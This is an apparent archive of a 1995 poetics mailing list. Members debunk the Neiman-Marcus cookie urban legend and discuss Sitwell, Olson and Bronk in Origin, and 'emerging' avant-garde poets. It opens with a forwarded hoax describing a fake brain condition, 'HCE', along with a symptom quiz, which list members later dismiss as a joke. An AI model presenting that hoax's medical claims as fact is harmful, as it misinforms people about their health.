Although HCE is very rare, it can kill. Dr. Martinenko says knowing you have the condition can greatly improve your odds of surviving it. A "yes"

answer to any three of the following seven questions could mean that you have HCE:

1. Does your head sometimes ache when you think too hard? (Head pain can indicate overloaded brain circuits.)

2. Do you ever hear a faint ringing or humming sound in your ears? (It could be the sound of electricity in the skull cavity.)

3. Do you sometimes find yourself unable to get a thought out of your head? (This is a possible sign of too much electrical activity in the cerebral cortex.)

4. Do you spend more than five hours a day reading, balancing your checkbook, or other thoughtful activity? (A common symptom of HCE is a tendency to over-use the brain.)

5. When you get angry or frustrated do you feel pressure in your temples? (Friends of people who died of HCE say the victims often complained of head pressure in times of strong emotion.)

6. Do you ever overeat on ice cream, doughnuts and other sweets? (A craving for sugar is typical of people with too much electrical pressure in the cranium.)

7. Do you tend to analyze yourself too much? (HCE sufferers are often introspective, "over-thinking" their lives.)

Well all, I hope this helps. I perceive FC as an intelligent bunch, and as such, I want to urge all of you to keep an eye out for the symptoms listed above. They're there for your sake.

carter

--
Apprentis, using television for prevention (until blipverts are invented)

↑ Index

4. Joe Amato
Re: Resisting Neiman-Marcus (fwd)
Sun 1 Oct 1995

---

well it looks like i can post this list again, finally... and just in time to let y'all know, if you don't already, that that cookie recipe thing is simply the electronic version of an old urban myth... saw it kicking around last about four years back...

joe (amato)

↑ Index

5. Thomas Bell

Re: Resisting Neiman-Marcus (fwd)

Sun 1 Oct 1995

Found poetry?

"Okay, you folks got my $250.00 and now
I'm going to have
$250.00
worth fun.
" I told her that I was going to see to it that every
cookie lover will have a $250.00 cookie recipe
from Neiman-Marcus
for nothing.

She replied,
"I wish you wouldn't do this." I said,
"I'm sorry but this is the only way
I feel I could get even," and I will.

So, here it is, and please pass it to someone else or run a few copies....I paid for it; now you can have it for free.

(Recipe may be halved.):

2 cups butter 4 cups flour
2 tsp. soda 2 cups sugar
5 cups blended oatmeal** 24 oz. chocolate chips
2 cups brown sugar 1 tsp. salt
1 8 oz. Hershey Bar (grated) 4 eggs
2 tsp. baking powder 3 cups chopped nuts (your choice)
2 tsp. vanilla

** measure oatmeal and blend in a blender to a fine powder.
Cream the butter and both sugars. Add eggs and vanilla;
mix together with flour, oatmeal, salt, baking powder,
and soda. Add chocolate chips, Hershey Bar and nuts. Roll into
balls and place two inches apart on a cookie sheet. Bake
for 10 minutes at 375 degrees. Makes 112 cookies.

Have fun!!! This is not a joke --- this is a true story..

********** That's it.
Please, pass it along to everyone you know, single people, mailing lists, etc.....

Ride free, citizen!

acknowledgements to Terri tyne

↑ Index

6. Gabrielle Welford
Re: Resisting Neiman-Marcus (fwd)
Sun 1 Oct 1995

On Sun, 1 Oct 1995, Joe Amato wrote:

> well it looks like i can post this list again, finally... and just in time
> to let y'all know, if you don't already, that that cookie recipe thing is
> simply the electronic version of an old urban myth... saw it kicking around
> last about four years back...
>
> joe (amato)
>
Uh oh. Sorry guys. I got suckered. Gab.

↑ Index

7. Joe Amato
Re: Resisting Neiman-Marcus (fwd)
Sun 1 Oct 1995

---

gab, you ain't the only one... i can recall announcing this to one of my classes once---like, yknow, my naivete was positively touching...

joe

↑ Index

8. Gwyn McVay
Re: Resisting Neiman-Marcus (fwd)
Sun 1 Oct 1995

Oh dear God of Poetics, not the "Neiman-Marcus Cookie" urban legend again. It's one of the oldest such legends on record, since it started as the "Waldorf-Astoria Velvet Cake" legend around the turn of the century. Hmm, maybe this is material--

Gwyn

↑ Index

9. Tony Green
Re: the Wild Blue Yonder
Sun 1 Oct 1995

The question is, Steve Carll, what is thing called "past"?

Tony Green,
e-mail: [redacted]

↑ Index

10. Gabrielle Welford
Forwarded mail....
Sun 1 Oct 1995

I guess this is an answer to whether they're any good! :-) Gab.

: Like you, I have seen this story for about a decade. I wonder if there : may have been a thread of truth to it. If I were NM, and I had such a : thing happen to me, I would quickly remove any mention of a "NM cookie" : from my stores. That's easy to do. Actually, NM has been famous for : cookies for ages. At presant they sell a line of cookies made in Japan, : of all places, that are beautifully packaged and actually do taste very : good. They do not taste as good as their price, however.

I think this is a well-recorded urban legend. As someone pointed out, before the current re-incarnation of the story in its Neiman-Marcus form, the exact same recipe (with a similar story) was going around claiming they were Mrs. Fields Cookies. But of course, as most urban legends, it's origins are even older. A similar story, concerning a red Velvet cake from the Astoria hotel used to be popular in the 20's. Here is one version of the account:

Our friend, Dean Blair, got on a bus in San Jose one morning and shortly after, a lady got on the bus and started passing out these 3 x 5 cards with the recipe for "Red Velver Cake." She said she had recently been in New York and had dinner at the Waldorf Astoria and had this cake. After she returned to San Jose, she worte to the hotel asking for the name of the chef who had origniated the cake, and if she could have the recipe. Subsequently she received the recipe in the mail along with a bill for something like $350 from the chef. She took the matter to her attorney, and he advised her that she would have to pay it because she had not inquired beforehand if there would be a charge for teh service, and if so, how much it would be. Consequently, she apparently thought this would be a good way to get even with the chef. (recipe omitted). (Brunvard, Jan H. 1981, The Vanishing Hitchhiker: American Urban Legends and Their Meanings, New York: WW Nortin & Co. p. 154).

Of course, this is only one version. Sometimes the recipe is for "The Million Dollar Fudge". There are variations about the lady's hometown, the amount she paid, the lawyer's reasons por having to pay the bill, and how she ordered the recipe (generally it seems to be in the restaurant itself). (Id. p. 155)

Anyone can see the similarities in the stories. I recommend the abovementioned book to anyone who is interested in urban legends. BTW, I have made the "Mrs. Fields/neiman Marcus cookies" and they are OK, though nothing out of the ordinary.

Take care,

Margarita

--
Margarita Lacabe and/or Mike Katz-Lacabe --- [redacted]

"It's not the repression by the bad people that hurts-
it's the silence of the good" MLK

↑ Index

11. Rod Smith

Re: newpoets

Sun 1 Oct 1995

Ode to my mom's cookie-tin repro of Pollock
for Jeff Hansen

&&9)$g4555 =444 {e32+} =
the rimshot & throp knot to
Maximus (bad painter, actually) ::::::
Jerry' s dead iiiiiiiiiiiiiiiiiiiiiii
555%%%***>>>>>>>>>>>>>>P:L_EF+ED
& rolls like needed lances on the busted
lunch of mine organic testament (more extra gorp
;-) <---------- weakends in DC,
all that +
THE GUZ

↑ Index

12. George Bowering
Re: grad students beware (fwd)
Mon 2 Oct 1995

Please! That exploding head one has been zooming arouind the web for a year in various versions.

↑ Index

13. George Bowering
Re: Sitwell
Mon 2 Oct 1995

Yeah, Kevin, but did Edith meet Lew Welch?

Have you read Bryher's account of Hd's meeting Edith Sitwell?

↑ Index

14. George Bowering
Re: Sitwell
Mon 2 Oct 1995

Dear Lisa etc

Have you read Sitwell's biog of Alexander Pope? One of the plainest, smartest and shortest biogs I have rtead. I recommend it for bedside or other reading. It's pretty good on the bus, wher I read it, too.

↑ Index

15. George Bowering
Re: ssplits and weakenings
Mon 2 Oct 1995

Oops, Lisa, I just saw yr post mentioning Sitwell's biog of Pope, and I probably merntioned this book years ago, and I cant remember anything except my pin number.

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16. Steve Carll
Re: the Wild Blue Yonder
Mon 2 Oct 1995

Tony Green asks (and it's a doozy):

> *The question is, Steve Carll, what is thing called "past"?*

Depends on the context in which you want to talk about it. My use of the word "thing" was provisional; I'm somewhat wary of attempting to reify time and all its little buddies. Larry Price, whose use of the term "past" I was responding to, seemed to mean by it (and I'm sure I'll be corrected if I'm wrong on this) some repository of cultural artifacts whose transformation (through cultural activity) has made them unrecognizable. But maybe Larry would be of more help on this.

Steve

↑ Index

17. W. Northcutt
Re: grad students beware (fwd)
Mon 2 Oct 1995

HCE?????

Bet Joyce would have gotten a kick out of that.

↑ Index

18. Willa Jarnagin
Re: Resisting Neiman-Marcus (fwd)
Mon 2 Oct 1995

I saw the Neiman-Marcus cookie story a couple years ago, then later read that it was one of those "urban myths". Who knows? I used to have a friend who worked as a sales person at NM and she said everyone who worked there called the place Needless Mark-ups. Also new employees were shown a training film in which a customer dropped $20,000 dollars in one trip.

I hope those cookies are good.

Willa

↑ Index

19. Mark Wallace
and even more bland abstract lyrics
Mon 2 Oct 1995

Let me urge all the people who took the time to respond to my query to send their writing on the subject of current/emerging/whatever avant garde writing and writers of the present moment to Jeff Hansen at Poetic Briefs:

Poetic Briefs
2510 Highway 100 South #333
St. Louis Park, MN 55416

Having gotten the public service message out of the way, I have a few further comments (is it really my turn again?) on this subject.

I appreciate Gale Nelson's caution that Ron may be referring to a larger swath of avant garde writing than I suggested earlier. But I don't think, in fact, that he is, or at least to any huge extent. He has commented before about the Writing From the New Coast anthology, and various other projects having to do with avant garde writers who have only begun to publish books in the 1990s (one possible way of defining "emerging," however tentatively).Although I think that Ron's critique is to a certain extent incorrect, I think he means it seriously and his position is not completely without justification--which is why, I think, it does need refutation. Look at it this way--Ron Silliman is an excellent poet, a first rate critic, and one of the most thoroughly open commentators we have on this poetics list--he's got the guts to constantly say exactly what he's thinking. While I don't always agree (by any means) with the things he says, I think he's got an uncanny knack for putting his finger exactly where key problems are. And I think that emerging "post-language" avant garde writers have, at the very least, a real identity problem. I mean, if a committed avant gardist like Ron Silliman can't see the value in what emerging writers are doing, who's going to? At least he READ Writing From the New Coast.

For Jordan Davis and Al Nielson and others who questioned my "definitions," I certainly agree that such definitions are always problematic, but I also think that saying so may be to a certain extent beside the point. Wittgenstein once said, when talking of language games, "And for those who find my definition of language games too inexact, I reply, isn't an inexact definition often what we need?" That is, the inexactness of absolute definitions for terms is precisely the situation we're in all the time--the inexactness of definition is the very ground on which communication takes place. So, yes, terms like "avant garde," "emerging," "younger," "generation," and "Ron Silliman" for that matter are problematic and inexact, but also highly USEFUL. Besides, Jordan, I'm not "defending younger writers." It's my perception, I think a correct one, that Ron has been guilty of too great a generalization regarding emerging avant garde writers. I was not calling for some generalized "defense," but for PARTICULAR RESPONSES.

While I agree with Jeff Hansen's comments that too much belief in the social value of the "new" brings with it a whole host of problems, I can't quite go as far as he does in what I think he's suggesting also--that innovation is no longer possible in poetry. I don't think that's true at all, although it may be true that innovation doesn't necessarily happen in the places people often look for it--in the most outrageous and "different" NEW THING. I find Jeff's work, for instance, incredibly innovative--look at what he's doing in "Landscrapes" in the most recent AVEC, or his chapbook "The Monologues of Joe Blow Only Artsy"

from Texture Press. So I think that Jeff is overstating his case against innovation just a little bit, and in a way that distorts the insightful innovations of his own work.

Rod Smith--yes, nonresponse does not equal implicit agreement, but does it count as effective counterargument in this case? The question comes down to, I suppose, whether one considers Ron's critique worth responding to. I think it is, because I think he's a serious critic and a great writer. I think that you probably think so too--correct me if I'm wrong--so I think your support of nonresponse seems a little disingenuous. Besides, you responded! As did many others who usefully complicated my initial query--Mark McMorris' highly thoughtful piece really embroils us in some necessary complexities.

So let me say, again, that I think there is a REAL identity crisis haunting emerging avant garde writers, and one that's worth talking about publicly. This problem is behind the idea of the Poetic Briefs forum that Jeff will be doing in the next issue of Poetic Briefs, both as response to my essay in #19, and on any other topic related to questions facing the avant garde at this moment.

I have a lot more to say about all this (fortunately or unfortunately), but I will, in self-conscious PR fashion, for now just point out that that's why

I wrote the essay in Poetic Briefs that I'm trying to get people to read and respond to.

mark wallace

↑ Index

20. Mark Wallace
Sorry
Mon 2 Oct 1995

Sorry that I sent a private note of mine accidentally to Poetics list.

mark wallace

↑ Index

21. Peter Larkin
Re: Wild Blue Yonder
Mon 2 Oct 1995

Steve Carll is quite right, a total forgetting would be of the how as well as the what; it would no longer be an act, as the forgetting would itself be forgotten. In cultural terms, the process can be nothing like as absolute, but where forgetting is "deliberate" it is not in itself forgotten, but remembered either as a strategy "clearing the decks", or can set off some sort of work of mourning. The

latter seems the David Jones area, though he also liked to think of a healthy culture as baggily retentive and found it difficult to let anything go .Perhaps some sort of ecological model might serve, where cultures assimilate organically over long periods, but then reach a "post-climax" stage defined by dissemination, absolute innovation and depletion.But through all that are the minimal attachments required to keep any sort of societal or cultural possibility in play at all,a play not in itself within the terms of a general dissemination. I have been thinking about these things in a recent piece of writing called "Let Attachment Assoil Us", and a couple of paras from the Prefatory Note I would quite like to float here, to see if they seem to mean anything: Whatever has the instinct of attachment operates as a careful fragment in our culture. The fragment's present form seems penetrated (beyond break-point) by the liability of not being a discard, but only gradually does it continue to own the vocation of an unsafe unity. The gift is ill-received as much as lost, and the former condition must go on figuring within a poetics of retention that would revise our habits of acceptance. Only out of this primal grasping can a poetic offering, along a road of self-forgiveness rather than negativity, be made. Without an acknowledgement of the charged nature of burden, of the fact we are all owners of the fantasy of numinous attachment, alterity itself would be a figment. The unpossessed has transformed itself into the unreleasable, but until a gesture is made in time with this burden, the resistance of the other cannot even appear. And if it does appear it will not appear alone, the power of resistance will no longer be confused with autonomy. The justified weaker term will have won a freedom, beyond strategic manipulations normalising opposition, to attach itself. Peter Larkin Philosophy & Literature Librarian University of Warwick Library,Coventry CV4 7AL UK Tel:01203 524475 Fax: 01203 524211 Email: [redacted]

↑ Index

22. Alan Golding

Po-gossip

Mon 2 Oct 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Jordan: If you're going to check out Tom Clark's The Great Naropa Poetry Wars, you'll also want to look at the project on that now-mythological Merwin-Trungpa confrontation produced by Ed Sanders' 1977 Investigative Poetry class at Naropa. It's called The Party: A Chronological Perspective on a Confrontation at a Buddhist Seminary (Poetry, Crime and Culture Press: Woodstock, NY, 1977). This does, I think, have implications for poetics beyond the talk-show

level, esp. if read along with Sanders' 1976 chapbook Investigative Poetry (City Lights).

Alan

↑ Index

23. David W. Clippinger
Re: Origin, Bronk, and Olson
Mon 2 Oct 1995

I am in need of finding out what poems appear in Origin #2 and #3--especially which Bronk and Olson poems. Unfortunately, the special collection at Syracuse University begins with the second series of the journal, and the first three issues are unavailable.

I would appreciate whatever help anyone may be able to provide, especially since that information is invaluable to my work at this moment.

Thank you,

David Clippinger

↑ Index

24. Eryque Gleason
Distribution bloos
Mon 2 Oct 1995

Now that I can finally post to listservers again, I'm only a couple of weeks late posting this announcement.

bloo3, the arts and literary journal of the Illinois Institute of Technology is now available by writing to

bloo
c/o Humanities Dept., LS-106
Illinois Institute of Technology
3101 S. Dearborn
Chicago, IL 60616

or you can contact me, which will probably be faster.

bloo3 was edited by Andrew Levy, and contains work from student contributers (incl. yours truly), as well as work by Pat Reed, Bob Harrison, William Fuller, Dodie Bellamy, Robert Kocik, and Kevin Killian.

_____!_____

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949

If I weren't a monkey, there'd be problems.

Chicago, IL 60616
[redacted]

↑ Index

25. Judy Roitman
Re: Wild Blue Yonder
Mon 2 Oct 1995

The discussion of memory & time amazes me, floating free as it does of the sheer physicality at the root of these constructs (brain and all this connotes). For example, walking -- unbelievable, isn't it? (Okay, modulo massive damage most of us "function" most of the "time".)

↑ Index

26. Jeff Hansen
wild blue yonder
Mon 2 Oct 1995

Larry Price on 9-28 wondered how I could apply the term "wild blue yonder" to a piece by Ron Silliman such as "Ketjak." I wasn't. In my posting of 9-27, I was concerned less with the work of Silliman--which I admire for the most part--than with the various ways that he has discussed the poetry of the "emerging generation," both in the posting noted by Mark Wallace and in other places. Silliman has made several comments that seem to indicate he values new poetic techniques in younger poets, rather than their exploring the possiblities within, between and around techniques already in existence. I take issue with his seeming preference for the radically new over other types of exploration. Both seem valuable to me, although I am skeptical about the possibility of creating radically new forms right now--which is why I termed preference for The New as "the wild blue yonder."

Best,
Jeff

↑ Index

27. Jim Pangborn
Re: Wild Blue Yonder
Mon 2 Oct 1995

Judy Roitman is right: we would need some working examples to root or embody these abstractions. As it is, one wants more sense of what ways fragments might be, besides careful; what ways unities might be, besides

unsafe; whether everything is either fragment, discard, or unity; what kinds of threat demand this care and safety; etc., and we're only through the first paragraph. Naturally, ripped from a larger context, abstractions will seem to loom and float disconcertingly in an unfamiliar universe. (Ooo: did I say Naturally? as in: conforming to a principle of poetic ecology? How cool . . . didn't know I knew that . . .

--Jim

p.s., Jeff H. started this thread with an incisive comment on the overvaluation of formal innovative originality on this list. G'awn, Jeff. Tell it.

Peter Larkin <[redacted]> writes:
> Whatever has the instinct of attachment operates as a careful
>fragment in our culture. The fragment's present form seems penetrated
>(beyond break-point) by the liability of not being a discard, but
>only gradually does it continue to own the vocation of an unsafe
>unity.
> The gift is ill-received as much as lost, and the former condition
>must go on figuring within a poetics of retention that would revise
>our habits of acceptance. Only out of this primal grasping can a
>poetic offering, along a road of self-forgiveness rather than
>negativity, be made. Without an acknowledgement of the charged nature
>of burden, of the fact we are all owners of the fantasy of numinous
>attachment, alterity itself would be a figment. The unpossessed has
>transformed itself into the unreleasable, but until a gesture is made
>in time with this burden, the resistance of the other cannot even
>appear. And if it does appear it will not appear alone, the power of
>resistance will no longer be confused with autonomy. The justified
>weaker term will have won a freedom, beyond strategic manipulations
>normalising opposition, to attach itself.
>

↑ Index

28. Jordan Davis
Poetry W
Mon 2 Oct 1995

On Fri, 29 Sep 1995, Charles Smith wrote:
>
> Even when serious issues of poetics are involved,
> going over all this 'dirt' seldom rises above the level of gossip &
> personalities. Guess I have doubts about the value of such a study.
>

I guess. But I was thinking more specifically of rifts, rivalries, exclusions, oppositions, deletions and the school of writers that (pre)dominate on this list. I had heard I could hear of stories among the emerged, of the poetic and the personal being equated (and so being used against people), that I could not (for whatever reason) hear told about the still emerging. That is, the younger writers have not had rancor as associated with them as their forebears did. That, anyway, was the subtext I had in mind. What does Pound say, praise them and be done with them?

Jordan Davis

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29. B. Cassidy
The Art and Poetry Worlds
Mon 2 Oct 1995

This past weekend I was reading in The New York times about the protest by "realist painters" at the Whitney Museum (their exclusion at the expense of more "experimental" and "avant-guard" artists), and realized something rather curious, which in the settling wake of our "Corn"-y debates seems interesting and relevant. (Apologies in advance for opening this back up.)

In short, the artists at the Whitney were protesting the museums heavy preference for "non-traditional," "experimental," and "non-representational" works. What struck me while reading this is that the situation they are protesting seems to be the exact opposite of what we find in the poetry world. Whereas in the "Art World", what was "avant-guard" has become rather accepted by the "establishment" (however we choose to take that word) or at least respected, in the poetry worlds this has yet to happen to the same degree.

This seems especially odd when one considers that much of the work in the two fields has been at many times roughly parallel in terms of techniques and concerns/issues addressed. With the exception of an Ashbery (I think, because the influence of French poetries and the ability to read him in such a light) or a Ginsberg (because of the social issues that surrounded him), who from the "avant-guard tradition" has really been embraced by the "establishment"? Why is it that Olson, Duncan, Stein, etc. seems to be mere footnotes in the history of the "establishment"'s poetry, yet Johns, de Kooning, Pollock, Rauschenberg, etc. have a decidedly more prominent position? (Okay, very rough equivalents here, but you get what I mean :)) Or, to put it another way, why is it that Bruce Nauman's recent retrospective got so much press in the art journals, and yet Michael Palmer and Lyn Hejinian (as Prof. Perloff recently pointed out) can barely even be considered for a job at a major American university? Or, yet one more way, why can Brice Marden have an article about him appear in the

current Harper's Bazaar, and yet Mark Strand (as I recently heard him say at a Q&A session) claim, with no apparent shame or regret, that he had never read Palmer's _Notes for Echo Lake_? (Again, my comparisons are far from perfect, but hopefully you see what I'm saying here.)

Is this discrepancy simply because of the differences in structure/hierarchy/economics between the two "worlds"? Or, perhaps more interestingly, might it have something to do with the nature of the two mediums? Another option? Just thought I'd throw this out there since I found it an interesting comparison....

Best,
Brian Cassidy

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30. Jordan Davis
awk/Deguy-Koch reading cancelled
Mon 2 Oct 1995

Sorry about the gerrammar on that last post. Rancor mixes me up.

- The Deguy/Koch reading at NYU on Thursday has been called off. Deguy is in Paris, recovering from (I think) a bad stomach bug.

Jordan Davis

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31. George Bowering
Re: Origin, Bronk, and Olson
Mon 2 Oct 1995

Fun getting my copies of _Origin_ down again.

#II has Olson's "The Escaped Cock," his notes on Lawrence, and the poems, "Issue, Mood" and "A Po-sy, a Po-sy."

#III has Olsons "A Round & a Canon", and these by Bronk:

"The various Sizes of the World"
"The Rain of Small Occurences"
"The Tree in the Middle of the Field"
"My Father Photographed with Friends"
"The Winter Shrub"
"The Mind's Landscape on an early Winter Day"
"Certain Beasts--Like Cats"
"The Self Encountered in a Dream"
"The Acts of the Apostles"

"The Summer Airs"
"Supper Time"

---phew!
GB

↑ Index

32. George Bowering
Re: Po-gossip
Mon 2 Oct 1995

In addition to the Clark and Sanders versions of the Merwin-Trungpa occasion, there was a Ginsberg version published somewhere, I forget where, in wch there is a little more sympathy for the Trungpa side. And in Buffalo I heard bpNichol and Victor Coleman sing from the operetta they wrote on the event. One of the songs was called "I'm not a Witness, I wasnt there."

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33. Eryque Gleason
Distribution bloos (take 2)
Mon 2 Oct 1995

Sorry for the re-post, but I just realized that I left out a couple of details from the original post! Namely, each copy is 96 pages perfectbound, and we're asking $6 per copy.

bloo3, the arts and literary journal of the Illinois Institute of Technology is now available by writing to

bloo
c/o Humanities Dept., LS-106
Illinois Institute of Technology
3101 S. Dearborn
Chicago, IL 60616

or you can contact me, which will probably be faster.

bloo3 was edited by Andrew Levy, and contains work from student contributers (incl. yours truly), as well as work by Pat Reed, Bob Harrison, William Fuller, Dodie Bellamy, Robert Kocik, and Kevin Killian.

Copies are 96 pages, perfectbound, $6. (please make checks out to IIT Arts & Literary Society)

_____!_____
Eryque "Just call me Eric" Gleason If I weren't a monkey, there'd
71 E. 32nd St. Box 949 be problems.

Chicago, IL 60616
[redacted]

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34. **Ron Silliman**
Re: wild blue yonder
Mon 2 Oct 1995

I really appreciate Jeff Hansen's argument for exploration between formal (in the strictest sense) boundaries rather than, say, beyond them, even if I don't know (understand?) whether or not that sentiment might be shared by others. It raises a lot of interesting questions for reading and interpretation and seems to me a terrific road into a lot of work. I had not meant my comments to be strictly taken as referring to an "emerging" generation (one that stretches out from people who are my own age, more or less, a la Selby and Basinski, to people in their early 20s), but I often hope to see my posts here as a prod to comment, and here Jeff takes that phrase in very useful direction.

Here is a for instance: Peter Gizzi is a superb and subtle craftsperson, so much so that his use of Spicer and the serial poem turn into a demonstration of the Esthetic as such, a result that strikes me as antithetical to Spicer's almost Celine-esque anti-aesthetic tendencies. Gizzi's Spicer seems closer to Bonnefoy than Celine or even Prevert. Clearly Gizzi is extending the mode of the serial poem in a direction unanticipated by Spicer, creating in some sense a different Spicer than the one I have read (where in fact I often find a horror of the aesthetic). Is this the same or different from the way in which (to pick a pseudoparallel) John Taggart and Ronald Johnson might be said to have read a different Zukofsky than the one read by Bernstein and Andrews?

I agree with Hansen that the idea of extending "innovation" to predictable logical conclusions ("typing" as someone once said of Kerouac's form) is of little interest, especially 80 years after zaum first demonstrated a range of possibility there. Similarly, all sound poetry "says the same thing" and it says it over and over.

Where formal innovation typically occurs (I'm making a wildly broad generalization here) is when the society underlying a given mode of verse production changes so that new writers (younger or otherwise--Olson was a late bloomer and WCW wrote Spring & All in his late 30s) bring in newly recognized territories and modes of the social into their work as form. I don't want to reduce this to some crude variation of base/superstructure economic determinism, but there is a constant and dynamic tension. Next to Snoop Doggy

Dog, exactly how white does the French-inflected lyric poem sound? Next to Chuck D?

Hansen's argument echoes (consciously?) part of Robert Duncan's poetics of derivation and does so in ways that are not reductive and simplistic. I'd love to hear people open that line of thinking up further.

Ron Silliman
[redacted]

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35. Aldon L. Nielsen
Re: oops snoops
Tue 3 Oct 1995

Ron -- unusual spelling there for mr. SDD, who, when last seen up the street at Village Recording Studio, was sporting Howard University sweats -- dawg gone it -- easier to get Chuck D's name right, I suppose -- But Chuck's actually been to a college, unlike friend Snoop, who buys his college garb through the mail -- I'm of the opinion that "gangsta" rap is about the whitest lyric form currently available -- and how did the French lyric get white?? Large doses of Poe, perhaps? What _is_ a white sounding lyric, and, to paraphrase Genet, what color is it?

Mark-- wasn't so much asking for definitions as wondering in public how certain words came to share a definition -- All kinds of identity crises available, but -- it's one thing to identify groups of poets who seem to share common aesthetic interests, or presuppositions, or questions,, etc. -- another thing to grab bunches of poets by the scruff of their birthdate & ask an identity to emerge -- rather like the "Texas Sharpshooter" phenomenon -- The shootist fired several rounds at the side of the barn, went over to the bullet holes, drew a circle around them and said, BULL'SEYE! The _Next Coast_ affair was said to have something to do either with age or with when one began publishing, but a glance at the table of contents shows that neither of these criteria actually was at work -- Still a really interesting gathering, I think, but hardly the statement of a generation, a school, or even an emerging ethos -- Not that I'm looking for that in particular, just that I read a tension between the desire for a "grouping" of some sort and what can be found reading the actual publications --

For example, look at how often Will Alexander is produced in discussions of a "post-language-poetry" scene,,, and Will, bless him, also gets mentioned by the likes of such pre-anti-language poetry guys as Eliot W. -- Does any of that have much to do with actually reading what Will is actually writing? and _then_ trying to see how that might fit with whatever may or may not be emerging?

But . . . I look forward to reading that Briefs issue --

are you ever coming to California????

↑ Index

36. Larry Price
Pens fall and begin to harvest
Tue 3 Oct 1995

Steve Carli wrote:

"When you forget something, when you erase it, aren't forgetting and erasing modes of relating to that something?"

Amid the assorted food labels, brochures, and badly written yet impeccably designed detritus that is my automaton's scramble for survival, the icons of forgetting and erasure are perhaps understandably privileged. Still, I agree with your reluctance to reify. So that particular notion of forgetting was not what I found compelling in Peter Larkin's statement, nor what I intended by using the term "erasure."

That is, not a forgetting (or erasing) in the sense of a toolbox (click on icon and drag to trash), an amnesial or erasive intentionality directed always and in nostalgia backward (the past as the desire that makes desire be present), but rather in the sense of "Not this." That is, the perpetual vapor trail that language in fact sprays before it, the head in arrears, Duchamp's nickel-plated child which the "person" completes on the horizonal blank page overwriting the master pages of autonomy. (At the very least, we know power won't deny itself.)

(Although I have to say I like the Lacanian intrigue in the past coming to presence as what is no longer presence. Which must be where all these careful discriminations between sense and nonsense go to become nonsense.)

When I say "we are in relation to the present," this in itself is a heuristic device, a machine devised-toward-the remedial present. I suppose it is remedial because (I agree) it is never a clean break, shaped as it is within an assumed, at least culturally imposed restricted economy of being. That remedial ground is, of course, the text. It functions to process the communicable intransigence of what is into the uncommunicated, hence infinitely available outside of what isn't.

Power is one issue. As one, it falls to us in its compensatory claim of mastery (or clarity) It seems to me it is this mastery/clarity that is at issue (among other places, in Mark Wallace's usefully raised issues). That is, mastery, when it arrives as the default version ("perfection is basic to this mode"), takes as its register a simultaneity of face and facework, reader and writer. It fulfills itself

in this way as part of a guarantee that having fulfilled itself once and as a one it won't have to do so again and certainly not in its parts. The language of power is structured from the neant on down.

But here Peter Larkin's notion of the "weak" intrigues me. It leads me to a question for Mark Wallace: to what extent is the category of post-language-avant-garde-emerging-publishing in the 90s-younger generation a strategizing of attachment and dis-attachment (in the sense -- I think -- PL is writing of it)?

Larry Price

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37. Jordan Davis
Re: The Art and Poetry Worlds
Tue 3 Oct 1995

Funny that they'd pick the Whitney, currently exhibiting Hopper and Stettheimer. Staying out of the current streams of thought can help you develop a strong sense of perversity.

With love,
Jordan

↑ Index

38. CAROLYN L. FORCHE-MATTISON
Re: Influence query
Tue 3 Oct 1995

Other than Michael Palmer and Andre du Bouchet, are there other poets who might be read as having been particularly influenced by Paul Celan?

Any recommendations would be very helpful, as I am currently discussing Celan in a graduate seminar.

Thank you so much for any assistance.

--Carolyn

↑ Index

39. Daniel Bouchard/College/hmco
1 PM EDT
Tue 3 Oct 1995

Not guilty, my ass. Unfucking real! There: had to say it. Couldn't exactly shout it at work.

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40. Gale Nelson
Re: Pens fall and begin to harvest
Tue 3 Oct 1995

One of the issues that was brought forward by "Writing from the New Coast" is the possibility of simultaneous communities of overlapping writers -- that those invited to this conference represented a host of aesthetic, political, social, intellectual and poetic considerations. The question that Mark seems to want answered is, "Who are we???" And the wonderful answer seems to be that we are a multitude, undertaking a diverse range of projects. And that, in the wake of the success of the challenging work written in the decades when we were in school (through college), we have the opportunity to "assume the victories" of every 20th century literary movement that catches our attention.

Perhaps my sense of overlapping and shifting communities of writing is too fanciful, and I should be shooed off of this list, if it really is devoted to group identity. I have to admit that I'm not worried about my identity as a poet; nor am I particularly interested in banding with others to usher in any this that or the other thing. I am more intrigued by what literature can do each time out, by any writer. Having taught workshops for the larger community here in Providence, I feel a certain belief that writers who are willing to take risks can do so in a variety of ways -- and do so in enormously exciting manners. I'm less intrigued by the notion that there is a _right_ way to move literature forward than by the notion that there are numerous _right_ ways.

The question, "who are we?" was intermingled, for me, with the question, "am I part of some new coast"? And I found myself preferring the idea of a Venn Diagram, with countless circles, all overlapping in the most unexpected ways. This coast, to my mind, is a mirage. But if it does exist, I'm too cantankerous by double to navigate based on someone else's map.

Gale Nelson

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41. tunguska
Re: fragments, mourning & derivation
Tue 3 Oct 1995

Responding to what Peter Larkin says about attachment, connected to a forgetting, those two themes in terms of the cultural fragment (paraphrasis, I'll come back, excuse...)and his kind of involuted couple of paragraphs from his piece "Let Attachment Assoil us". This reminds me of Heidegger talking about retention and involvement of being, first in the common everyday understanding, in terms of idle-talk, gossip and a concernful being-towards-

death, which never comes close to the anxiety neededNEEDED to fathom the possibility of the death of one's own Dasein. You mention a self-forgiveness, and that sounds right, but, again, in Being and Time (which may or may not be of use here) guilty conscience is something we seek out, to discover what the common everyday has determined to be one's Dasein, one's own "being there", and this process of bringing on the guilt, so to speak, and fleeing in the face of, anxiety at the possibility of death, makes up the foundation of all this, consciousness, being, or what ever you want to term it...kind of reminiscent of the early electrified Dylan, that it was said he sought out a kind of impossible phrasing or rhythm or pitch or version of an old tune, just to put himself into "trouble".

Again, what you have going there in your piece, hits home in terms of the falsity of an autonomy of resistance, and which I think, echoing this whole deal with the bland lyric et al, and young writers and the avant garde et al. gets taken up as a stance, that I find to be best summed up by the boston poet (renegade-hero, alone?, in his own right and day)Stephen Jonas, from the Excercises for Ear, with his typical Poundian nod:

..... money always greases the palm
to the left
.....

Interesting to note that in his final "orgasms/dominations" Jonas virtually, from what I've read so far, fell into total derivation from Pound's Cantos, style, and, what looks like, some of the technique, although, maybe not with such an emphasis on the luminous detail. But I haven't really gotten into it that much yet, just bought it the other day.

But derivation, as continuity?, is this what David Jone's accomplished in The Anethemata? What I heard reading that was: Bring out your dead! Bring out your dead! as re-confirmation of the cycles of life and death that, can be substituted for one another?!

I too put this out, to see what makes sense here, and want to get into that sense of Duncan's calling himself Derivative. Always thought that comment on the back of Opening the Field interesting, "to utilize my faculties at large".....That book, so filled with sad death, black death, should've been called opening the black tomb...

tod thilleman
tod thilleman

